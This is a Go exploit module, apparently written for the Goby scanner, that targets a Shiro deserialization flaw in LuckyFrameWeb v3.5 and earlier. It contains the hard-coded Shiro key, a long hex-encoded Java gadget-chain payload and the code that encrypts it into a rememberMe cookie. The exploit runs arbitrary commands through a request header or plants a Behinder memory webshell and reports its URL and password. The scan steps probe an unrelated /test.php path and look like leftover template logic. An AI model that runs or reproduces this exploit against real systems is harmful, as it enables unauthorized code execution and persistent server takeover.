package exploits

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"encoding/hex"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"io"
	"net/url"
	"strings"
)

func init() {
	expJson := `{
    "Name": "LuckyFrameWeb Shiro Deserialization Vulnerability",
    "Description": "<p>The LuckyFrameWeb test platform is a free and open source test platform. The biggest feature is that it covers interface automation, WEB UI automation, and APP automation in all dimensions, and supports distributed testing. The test keyword drive also largely solves the problem of weak code foundation of students in testing. At the same time, it also integrates some functions related to quality management, solves the problem of collecting project process data in QA daily work, and can display some simple quality reports.</p><p>There is a shiro deserialization vulnerability in LuckyFrameWeb v3.5 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</p>",
    "Product": "LuckyFrameWeb",
    "Homepage": "https://gitee.com/seagull1985/LuckyFrameWeb",
    "DisclosureDate": "2022-11-11",
    "Author": "su18@javaweb.org",
    "FofaQuery": "(body=\"/ruoyi/js/ry-ui.js\" && body=\"luckyframe\") || title=\"LuckyFrame\"",
    "GobyQuery": "(body=\"/ruoyi/js/ry-ui.js\" && body=\"luckyframe\") || title=\"LuckyFrame\"",
    "Level": "3",
    "Impact": "<p>There is a shiro deserialization vulnerability in LuckyFrameWeb v3.5 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</p>",
    "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update: <a href=\"https://gitee.com/seagull1985/LuckyFrameWeb\">https://gitee.com/seagull1985/LuckyFrameWeb</a></p><p></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
    "References": [],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "cmd,ysoserial",
            "show": ""
        },
        {
            "name": "URL",
            "type": "input",
            "value": "/{{{rand|str|12}}}",
            "show": "1=0"
        },
        {
            "name": "PassWord",
            "type": "input",
            "value": "goby",
            "show": "1=0"
        },
        {
            "name": "Referer",
            "type": "input",
            "value": "https://gobygo.net/",
            "show": "1=0"
        },
        {
            "name": "serializedData",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "Gadget",
            "type": "input",
            "value": "CommonsBeanutils1",
            "show": "1=0"
        },
        {
            "name": "Category",
            "type": "input",
            "value": "Memory Shell",
            "show": "1=0"
        },
        {
            "name": "Memory Shell Category",
            "type": "input",
            "value": "TFMSFromRequest",
            "show": "1=0"
        },
        {
            "name": "Web Shell",
            "type": "input",
            "value": "bx",
            "show": "1=0"
        },
        {
            "name": "classBytes",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "command",
            "type": "input",
            "value": "whoami",
            "show": "AttackType=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php ",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Code Execution"
    ],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [],
    "CNNVD": [],
    "CNVD": [],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "LuckyFrameWeb 开源自动化测试平台 Shiro 反序列化漏洞",
            "Product": "LuckyFrameWeb",
            "Description": "<p>LuckyFrameWeb 测试平台是一款免费开源的测试平台，最大的特点是全纬度覆盖了接口自动化、WEB UI自动化、APP自动化，并且支持分布式测试，测试关键字驱动也很大程度上解决了测试同学代码基础弱的问题。同时也集成了质量管理相关的一些功能，解决QA的日常工作中，项目过程数据的收集问题，并能展示一些简单质量报表。<br></p><p>LuckyFrameWeb v3.5&nbsp;及之前的版本存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。</p>",
            "Recommendation": "<p>1、官方暂未修复该漏洞，请用户联系厂商修复漏洞：<span style=\"color: rgb(22, 51, 102); font-size: 16px;\"><a href=\"https://gitee.com/seagull1985/LuckyFrameWeb\">https://gitee.com/seagull1985/LuckyFrameWeb</a></span></p><p>2、通过防火墙等安全设备设置访问策略，设置白名单访问。</p><p>3、如非必要，禁止公网访问该系统。</p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">LuckyFrameWeb v3.5&nbsp;</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">及之前的版本存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。</span><br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "LuckyFrameWeb Shiro Deserialization Vulnerability",
            "Product": "LuckyFrameWeb",
            "Description": "<p>The LuckyFrameWeb test platform is a free and open source test platform. The biggest feature is that it covers interface automation, WEB UI automation, and APP automation in all dimensions, and supports distributed testing. The test keyword drive also largely solves the problem of weak code foundation of students in testing.&nbsp;At the same time, it also integrates some functions related to quality management, solves the problem of collecting project process data in QA daily work, and can display some simple quality reports.</p><p>There is a shiro deserialization vulnerability in LuckyFrameWeb v3.5 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</p>",
            "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update:&nbsp;<a href=\"https://gitee.com/seagull1985/LuckyFrameWeb\">https://gitee.com/seagull1985/LuckyFrameWeb</a></p><p></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">There is a shiro deserialization vulnerability in LuckyFrameWeb v3.5 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</span><br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10709"
}`

	shiroAesEncryptGCM1231445541 := func(payloadByte []byte, key string) string {
		keyBytes, _ := base64.StdEncoding.DecodeString(key)
		block, _ := aes.NewCipher(keyBytes)
		nonce := make([]byte, 16)
		io.ReadFull(rand.Reader, nonce)
		aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
		ciphertext := aesgcm.Seal(nil, nonce, payloadByte, nil)
		return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
	}

	sendPayload23476276572 := func(u *httpclient.FixUrl, payloadByte []byte, key string, cmd string, payload string, referer string) (*httpclient.HttpResponse, error) {
		if payload == "" {
			cfg := httpclient.NewGetRequestConfig("/")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "rememberMe="+shiroAesEncryptGCM1231445541(payloadByte, key))
			if cmd != "" {
				cfg.Header.Store("X-Token-Data", cmd)
			}
			return httpclient.DoHttpRequest(u, cfg)

		} else {
			cfg := httpclient.NewPostRequestConfig("/")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "rememberMe="+shiroAesEncryptGCM1231445541(payloadByte, key))
			cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")
			cfg.Header.Store("Referer", referer)
			cfg.Data = "dc=" + url.QueryEscape(payload)
			return httpclient.DoHttpRequest(u, cfg)
		}
	}

	key := "fCq+/xW488hMTCD+cmJ3aQ=="
	echoPayload := "ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B7870000000027372002B6F72672E6170616368652E636F6D6D6F6E732E6265616E7574696C732E4265616E436F6D70617261746F72E3A188EA7322A4480200024C000A636F6D70617261746F7271007E00014C000870726F70657274797400124C6A6176612F6C616E672F537472696E673B78707372002A6A6176612E6C616E672E537472696E672443617365496E73656E736974697665436F6D70617261746F7277035C7D5C50E5CE02000078707400106F757470757450726F706572746965737704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B78700000000000000000757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000124BCAFEBABE0000003101020A001F006E0A0022006F0A007000710A007200730A007200740A001F00750800760A001D00770A007800790A0078007A07007B0A0072007C08007D0A0022007E08007F0800800700810800820800830700840A001D00850800860800870700880B001800890B0018008A08008B08008C07008D0A001D008E07008F0A009000910800920700930800940A0022009508009609002700970700980A0027009908009A0A0070009B0A0022009C08009D08009E08009F0800A00800A10700A20800A30800A40A001D00A50700A60800A70A003100A80700A90800AA0800AB0800AC0A002700AD0800AE0700AF0900B000970A001D00B10A009000790A002700B20A005500B30A00B000B40800B50800B60700B70700B80A0048006E0A004700B90A004800BA0800BB0A001D00BC0800BD0A004800BE0800BF0700C00800C10800C20700C30701010100063C696E69743E010003282956010004436F6465010009746F43537472696E67010016284C6A6176612F6C616E672F537472696E673B295B4201000D537461636B4D61705461626C650100083C636C696E69743E0700C50700C60700C707009307008F0700840700880700C80700A207008D0700A60700C90700CA0700B70700B80700C00700C30C005600570C00CB00CC0700CD0C00CE00CF0700C70C00D000D10C00D200D30C00D400D5010007746872656164730C00D600D70700C60C00D800D90C00DA00DB0100135B4C6A6176612F6C616E672F5468726561643B0C00DC00DD010004657865630C00DE00DF010004687474700100067461726765740100126A6176612F6C616E672F52756E6E61626C6501000674686973243001000768616E646C657201001E6A6176612F6C616E672F4E6F537563684669656C64457863657074696F6E0C00E000D5010006676C6F62616C01000A70726F636573736F727301000E6A6176612F7574696C2F4C6973740C00E100E20C00DA00E301000372657101000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00E400E50100106A6176612F6C616E672F4F626A6563740700CA0C00E600E70100096765744865616465720100106A6176612F6C616E672F537472696E6701000C582D546F6B656E2D446174610C00E800E90100097365745374617475730C00EA00EB0100116A6176612F6C616E672F496E74656765720C005600EC0100076F732E6E616D650C00ED00EE0C00EF00DD01000377696E010003636D640100022F630100092F62696E2F626173680100022D6301000F73756E2F6D6973632F556E73616665010009746865556E736166650100156A6176612E6C616E672E554E495850726F636573730C00F000F10100206A6176612F6C616E672F436C6173734E6F74466F756E64457863657074696F6E0100156A6176612E6C616E672E50726F63657373496D706C0C00F200F30100025B4201000F6C61756E63684D656368616E69736D01000A68656C706572706174680100076F7264696E616C0C00F400E201000B666F726B416E64457865630100025B490700F50C00F600E50C00F700F80C0059005A0C00F700F901000B696E697453747265616D7301000E676574496E70757453747265616D0100136A6176612F696F2F496E70757453747265616D01001D6A6176612F696F2F4279746541727261794F757470757453747265616D0C00FA00FB0C00FC00FD0100246F72672E6170616368652E746F6D6361742E7574696C2E6275662E427974654368756E6B0C00FE00FF01000873657442797465730C010000CC010007646F577269746501001F6A6176612F6C616E672F4E6F537563684D6574686F64457863657074696F6E0100136A6176612E6E696F2E42797465427566666572010004777261700100136A6176612F6C616E672F457863657074696F6E0100306F72672F737531382F79737573657269616C2F7061796C6F6164732F74656D706C617465732F546F6D6361744563686F0100156A6176612F6C616E672F54687265616447726F75700100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F5468726561640100135B4C6A6176612F6C616E672F537472696E673B0100035B5B420100186A6176612F6C616E672F7265666C6563742F4D6574686F64010008676574427974657301000428295B420100106A6176612F6C616E672F53797374656D0100096172726179636F707901002A284C6A6176612F6C616E672F4F626A6563743B494C6A6176612F6C616E672F4F626A6563743B4949295601000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B01000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B01000D73657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A01000D6765745375706572636C61737301000473697A650100032829490100152849294C6A6176612F6C616E672F4F626A6563743B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076973456D70747901000328295A010004545950450100114C6A6176612F6C616E672F436C6173733B0100042849295601000B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B01000B746F4C6F77657243617365010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B010010616C6C6F63617465496E7374616E6365010025284C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F4F626A6563743B010008696E7456616C75650100116A6176612F6C616E672F426F6F6C65616E0100116765744465636C617265644D6574686F6401000776616C75654F660100162849294C6A6176612F6C616E672F496E74656765723B010016285A294C6A6176612F6C616E672F426F6F6C65616E3B01000472656164010005285B4229490100057772697465010007285B424949295601000B6E6577496E7374616E636501001428294C6A6176612F6C616E672F4F626A6563743B01000B746F42797465417272617901002D6F72672F6170616368652F78616C616E2F7061727365722F6E6F64652F415354537472696E674C69746572616C00210055001F000000000003000100560057000100580000001100010001000000052AB70001B10000000000090059005A000100580000003900050003000000242AC7000501B02AB600024C2BBE0460BC084D2B032C032BBEB800032C2CBE046403542CB000000001005B000000030001060008005C0057000100580000075B000800260000051F033BB80004B600054C2BB600061207B600084D2C04B600092C2BB6000AC0000BC0000B4E03360415042DBEA204EF2D1504323A051905C70006A704DB1905B6000C3A061906120DB6000E9A000D1906120FB6000E9A0006A704BD1905B600061210B600084D2C04B600092C1905B6000A3A071907C100119A0006A7049A1907B600061212B600084D2C04B600092C1907B6000A3A071907B600061213B600084DA700163A081907B60006B60015B600151213B600084D2C04B600092C1907B6000A3A071907B60006B600151216B600084DA700103A081907B600061216B600084D2C04B600092C1907B6000A3A071907B600061217B600084D2C04B600092C1907B6000AC00018C000183A0803360915091908B900190100A203F019081509B9001A02003A0A190AB60006121BB600084D2C04B600092C190AB6000A3A0B190BB60006121C03BD001DB6001E190B03BD001FB600203A0C190BB60006122104BD001D5903122253B6001E190B04BD001F5903122353B60020C000223A061906C6037C1906B600249A0374190CB60006122504BD001D5903B2002653B6001E190C04BD001F5903BB0027591100C8B7002853B6002057013A0D1229B8002AB6002B122CB6000E99001B06BD00225903122D535904122E5359051906533A0DA7001806BD00225903122F53590412305359051906533A0D12311232B600083A0E190E04B60009190E01B6000AC000313A0F013A101233B800343A10A7000C3A111236B800343A10190F1910B600373A11190DBE0464BD00383A121912BE361303361415141912BEA2002319121514190D1514046032B600025315131912151432BE603613841401A7FFDB1513BC083A1403361519123A161916BE361703361815181517A2002719161518323A19191903191415151919BEB8000315151919BE0460603615841801A7FFD804BC0A3A1606BC0A5903024F5904024F5905024F3A1719101239B600083A181910123AB600083A19191804B60009191904B6000919181911B6000A3A1A19191911B6000AC00038C000383A1B191AB60006123B03BD001DB6001E191A03BD001FB60020C00027B6003C361C1910123D100ABD001D5903B20026535904123853590512385359061238535907B20026535908123853591006B2002653591007123853591008123E53591009B2003F53B600403A1D191D04B60041191D1911100ABD001F5903151C0460B80042535904191B535905190D0332B8004353590619145359071912BEB8004253590801535910061916032EB8004253591007015359100819175359100903B8004453B60020571910124504BD001D5903123E53B600403A1E191E04B60041191E191104BD001F5903191753B60020571910124603BD001DB6001E3A1F191F04B60041191F191103BD001FB60020C000473A20BB004859B700493A21033622110400BC083A2319201923B6004A593622029F001019211923031522B6004BA7FFE8124CB800343A241924B6004D3A071924124E06BD001D59031238535904B20026535905B2002653B60040190706BD001F59031921B6004F535904BB00275903B700285359051921B6004FBEB8004253B6002057190CB60006125004BD001D5903192453B6001E190C04BD001F5903190753B6002057A700513A241252B800343A251925125304BD001D5903123853B60040192504BD001F59031921B6004F53B600203A07190CB60006125004BD001D5903192553B6001E190C04BD001F5903190753B6002057043B043B1A990006A70009840901A7FC0A1A990006A7000EA700053A05840401A7FB10A700044BB10009009500A000A3001400C300D100D4001402120219021C0035043104A604A90051002E003905120054003C005705120054005A007A05120054007D050C051200540000051A051D00540001005B000001E2001FFF002700050107005D07005E07000B010000FC001407005FFC001A07006002FC002207006165070062125D0700620CFD002D07006301FF00D0000E0107005D07005E07000B0107005F07006007006107006301070061070061070061070064000014FF002600110107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066000107006708FF001A00150107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E07006507006607006107006801010000FA0027FF001400190107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066070061070068010700380107006801010000F8002AFF016D00240107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066070061070068010700380107003E07003E07005E07005E0700610700380107006907006907006907006A07006B0107003800001AF7007707006CFB004DFF0003000D0107005D07005E07000B0107005F070060070061070063010700610700610700610000F80006FA0005FF000600050107005D07005E07000B0100004207006D01FF0005000000004207006D0000007571007E0010000000F9CAFEBABE0000003300110100216F72672F6170616368652F786D6C2F6C616E672F6D6174682F4672616374696F6E0700010100106A6176612F6C616E672F4F626A65637407000301000A536F7572636546696C6501000D4672616374696F6E2E6A61766101001073657269616C56657273696F6E5549440100014A0571E669EE3C6D471801000D436F6E7374616E7456616C75650100063C696E69743E0100032829560C000C000D0A0004000E010004436F646500210002000400000001001A000700080001000B00000002000900010001000C000D000100100000001100010001000000052AB7000FB1000000000001000500000002000670740008414D544D4241474C707701007871007E000D78"

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			randStr := goutils.RandomHexString(12)
			gadget, _ := hex.DecodeString(echoPayload)
			resp, err := sendPayload23476276572(u, gadget, key, "echo "+randStr, "", "")
			return err == nil && strings.Contains(resp.RawBody, randStr)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			if ss.Params["AttackType"].(string) == "cmd" {
				cmd := ss.Params["command"].(string)
				gadget, _ := hex.DecodeString(echoPayload)
				resp, err := sendPayload23476276572(expResult.HostInfo, gadget, key, cmd, "", "")
				if err == nil {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			} else if ss.Params["AttackType"].(string) == "ysoserial" {
				webShellUrl := ss.Params["URL"].(string)
				password := ss.Params["PassWord"].(string)
				referer := ss.Params["Referer"].(string)
				serializedData := ss.Params["serializedData"].(string)
				classBytes := ss.Params["classBytes"].(string)

				if serializedData == "" || classBytes == "" {
					serializedData, classBytes, _ = godclient.GenYsoPayloadFromParams(ss.Params)
				}

				data, _ := base64.StdEncoding.DecodeString(serializedData)
				resp, err := sendPayload23476276572(expResult.HostInfo, data, key, "", classBytes, referer)

				if err == nil && resp.StatusCode == 200 &&
					(strings.Contains(resp.RawBody, "Success") || strings.Contains(resp.RawBody, "Filter already exists")) {
					cfg := httpclient.NewGetRequestConfig("/" + webShellUrl + "?" + password + "=1")
					cfg.FollowRedirect = false
					cfg.VerifyTls = false
					cfg.Header.Store("Referer", referer)

					if resp2, err2 := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err2 == nil && resp2.StatusCode == 200 {
						expResult.Success = true
						expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + webShellUrl + "\r\n"
						expResult.Output += "Password: " + password + "\r\n"
						expResult.Output += "Webshell tool: Behinder v3.0\r\n"
						expResult.Output += "Webshell type: jsp\r\n"
						expResult.Output += "Referer: " + referer
					}
				}
			}
			return expResult
		},
	))
}
